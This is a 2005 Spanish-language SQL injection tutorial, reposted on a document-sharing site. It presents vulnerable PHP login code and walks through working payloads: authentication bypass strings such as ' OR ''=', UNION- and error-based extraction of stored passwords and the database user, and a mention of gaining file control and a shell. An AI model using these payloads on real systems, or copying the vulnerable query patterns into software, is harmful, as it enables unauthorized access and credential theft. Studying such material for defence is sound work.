tutorial inyeccion sql

Upload: fredy-contreras

Post on 10-Jul-2015

32 views

Category:

Documents


0 download

TRANSCRIPT

Tutorial de Inyeccin SQL.Por SirDarckCat sirdarckcat [@] gmail [.] com http://foro.elhacker.net/index.php/topic,98448.0.html

La inyeccin SQL es el ataque va web, que aprovecha errores en la filtracin de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicacin.

ATENCINPara poder explotar con xito una falla de inyeccin SQL es necesario que sepan con anterioridad el lenguaje. Informacin sobre su implementacin en PHP se puede encontrar en http://php.net/mysql http://dev.mysql.com/

Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las magic quotes desactivadas. Ejemplo 1 Cdigo: $us=$_POST['usuario']; $pass=$_POST['pass']; $sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'"; -- cdigo largo cortado -Cdigo: if(mysql_fetch_array($exc)){ echo "Inicio de sesin correcto"; // Esto fue modificado } Este es el tpico sistema de verificacin de contraseas.. utiliza la instruccin mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningn resultado, en la 'querry', o peticin), as que si no hay ningn resultado donde el usuario y el password concuerden, el resultado es false como podemos hacer que no devuelva false?? .

Con el password correcto Haciendo trampa

Lgicamente, no usaremos la primera opcin xD Haciendo trampa.. se hara algo as: esta es la peticin que solo nos deja pasar si sabemos el pass..

SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'ahora, como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us? Supongamos que ponemos de usuario Pegaso, y de password pjps. El usuario existe, pero no sabemos el pass.. la sentencia que SQL recibir ser:

SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'y como no hay ningn campo donde el usuario y el password coincidan, nos devolvera false Ahora, con un poco de creatividad: de usuario: Pegaso de password: ' OR ''=' la sentencia SQL recibira:

SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''nos devolver true, si hay algn resultado y como NADA siempre es igual a NADA, nos devolver true, y pasamos el mecanismo de validacin como Pegaso. Otros posibles valores que devuelven true son:

usuario: Pegaso AND /* usuario: ' OR 1=1 //

password: */ ''='

Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta encriptado, y debers desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo Ejemplo 2 Cdigo: $us=$_POST[usuario]; $pas=$_POST[pass]; if($_GET['usuario'] || $_GET['pass']){ die("Hack Attempt"); } $sql="SELECT password FROM usuarios WHERE user = '$us'"; -- cdigo largo cortado -Cdigo: $resp = mysql_query($sql) or die(mysql_error()); if(mysql_fetch_array($resp)){ if($resp==$pas){ echo "Inicio de sesin exitoso"; // Esto fue modificado }else{ echo "el password $resp es incorrecto"; } } Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicacin real), es vulnerable? SI, porque? Ya quedamos en que no hay magic quotes, las magic quotes son una funcin que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..

el webmaster pens, que como no usaba el mysql_fetch_array, entonces no podan usar un ' OR ''=', como la inyeccin clsica, pasada. Ahora, queremos sacar el password.. pero.. como? Hay una instruccin en SQL llamada UNION, que sirve para obtener informacin de 2 tablas, o.. Bueno.. UNION necesita algunos requisitos.

Necesitas meter la misma cantidad de valores que tiene la tabla. Tener un informe de los errores que provocaremos en la instruccin

Bien ahora empecemos. la instruccin a modificar es la siguiente:

SELECT password FROM usuarios WHERE user = '$us'como ejemplo, si colocamos de usuario: zanahoria la instruccin que llega seria:

SELECT password FROM usuarios WHERE user = 'zanahoria'Otra vez necesitamos creatividad regresemos al UNION. UNION necesita que el numero de columnas sea igual, sino sacara un error. y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien. el UNION se usa de esta forma: usuario: ' AND 0 UNION SELECT 1 AND 'l'='

SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''para lo cual SQL nos responder: CitarThe used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda nmeros) a un CHAR (guarda letras) Quedara algo as: ' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria la sentencia seria esta:

SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria'que nos da como error: CitarSyntax error converting the varchar value 'naranja' to a column of data type int.

donde el password es naranja

8) 8)

Las inyecciones ltimamente han logrado tener mas poder que antes, segn el blog de acidbits, solo debemos sacar toda la informacin posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..). el siguiente es un ejemplo, con la misma sentencia usuario: ' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'=' y nos regresa: CitarIllegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi: ' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l=' y eso nos regresa: Citarroot@localhost

esto, no es todo, con hacer que regrese valores con '', podemos incluso crearnos nuestra shell. Para ver el mtodo completo de acidbits, da click aqu. Ejercicio : Que puedes hacer con esta sentencia? Cdigo: $sql="UPDATE clicks set dat=now(), aas=aas+1 where $resp = mysql_query($sql) or die(mysql_error());

ref='$HTTPREFFERER'";

Prximamente: Blind SQL Inyection Citar (c) Sirdarckcat 2005 Autorizo la reproduccin total o parcial de este documento bajo los terminos de la licencia de documentacion libre de GNU, una copia puede ser encontrada en http://www.gnu.org/